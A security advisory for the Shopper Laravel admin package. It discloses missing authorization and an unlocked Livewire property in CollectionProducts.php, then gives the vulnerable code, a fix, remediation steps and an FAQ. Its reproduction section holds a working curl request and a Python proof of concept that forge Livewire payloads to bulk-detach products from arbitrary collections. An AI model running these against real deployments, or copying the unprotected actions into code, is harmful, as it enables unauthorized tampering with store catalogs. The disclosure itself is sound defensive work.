GHSA-2cg9-97gq-9mqp: High severity composer/shopper/framework vulnerability
Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browsecollections, can detach individual products or bulk-detach all products from any collection in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
- packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
php // Line 40 - client-mutable, no #[Locked] public Collection $collection;
// Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }), ])
// Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(('shopper::pages/collections.removeproduct')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ])
Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only browsecollections (no editcollections required).
bash SESSION="laravelsession=<yoursessionvalue>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
Step 1: Note the collection ID you wish to empty (e.g., collectionid=5). Step 2: Call the bulk table action on the CollectionProducts component, substituting collection ID 5 in the component state.
curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTIONPRODUCTSCOMPONENTID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' Expected: HTTP 200, all listed product IDs detached from collection 5, regardless of the caller having only browsecollections.
Proof of concept
python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC.
Set these environment variables before running: BASEURL e.g. http://localhost SESSIONCOOKIE value of the laravelsession cookie XSRFTOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENTID Livewire component snapshot ID (from page source) COLLECTIONID integer ID of the target collection PRODUCTIDS comma-separated product IDs to detach (e.g. "1,2,3") """
import json import os import requests
baseurl = os.environ['BASEURL'] session = os.environ['SESSIONCOOKIE'] xsrf = os.environ['XSRFTOKEN'] componentid = os.environ['COMPONENTID'] collectionid = int(os.environ['COLLECTIONID']) productids = [int(x) for x in os.environ['PRODUCTIDS'].split(',')]
headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravelsession={session}', 'X-Livewire': '1', }
snapshot = json.dumps({ 'id': componentid, 'data': {'collection': collectionid}, 'checksum': 'UNLOCKEDPROPNOCHECKSUMNEEDED', })
payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', productids], }] }] }
r = requests.post(f'{baseurl}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.statuscode}') print(r.text[:500])
Impact
A staff member holding only browsecollections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.
Suggested fix
php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
use Livewire\Attributes\Locked;
#[Locked] // prevent client-side ID substitution public Collection $collection;
// Per-record action: Action::make('delete') ->authorize('editcollections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }),
// Bulk action: DeleteBulkAction::make() ->authorize('editcollections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... })
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/shopper/frameworkto a version that resolves this vulnerability.Fixed in 2.9.2 - Configuration
Lock the Livewire-bound property `public Collection $collection` by adding `use Livewire\Attributes\Locked;` and applying `#[Locked]` so the attacker cannot substitute arbitrary collection IDs in the Livewire payload.
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php Livewire property locking for public Collection $collection = Add #[Locked] attribute - Configuration
On the per-record delete action `Action::make('delete')` (shown around lines 73-88), add an authorization chain `->authorize('edit_collections')` so staff lacking `edit_collections` cannot detach products from any collection.
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php Authorization on per-record delete action (Action::make('delete')) = Add `->authorize('edit_collections')` - Configuration
On the bulk delete action `DeleteBulkAction::make()` (shown around lines 91-105), add an authorization chain `->authorize('edit_collections')` so bulk-detach also requires `edit_collections`.
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php Authorization on bulk remove action (DeleteBulkAction::make()) = Add `->authorize('edit_collections')`
Event History
Frequently Asked Questions
Who can exploit this issue?
Any user with an authenticated admin-panel session can exploit it, including staff whose permission is limited to browse_collections. The issue does not require user interaction or elevated collection-management permissions.
What access does an attacker need?
The attacker needs a valid authenticated admin-panel session and network access to the application. They can manipulate the mutable collection ID in the Livewire wire payload to target collections other than the one they were intended to access.
What actions can an attacker perform?
An attacker can detach individual products from a collection or use the bulk action to detach all products from any collection in the database. The stated impact is on integrity and availability; no confidentiality impact is identified.
How can I determine whether my deployment is affected?
Review packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. It is affected if the public Collection $collection property is not protected with #[Locked] and the per-record delete and bulk delete actions lack an ->authorize(...) chain.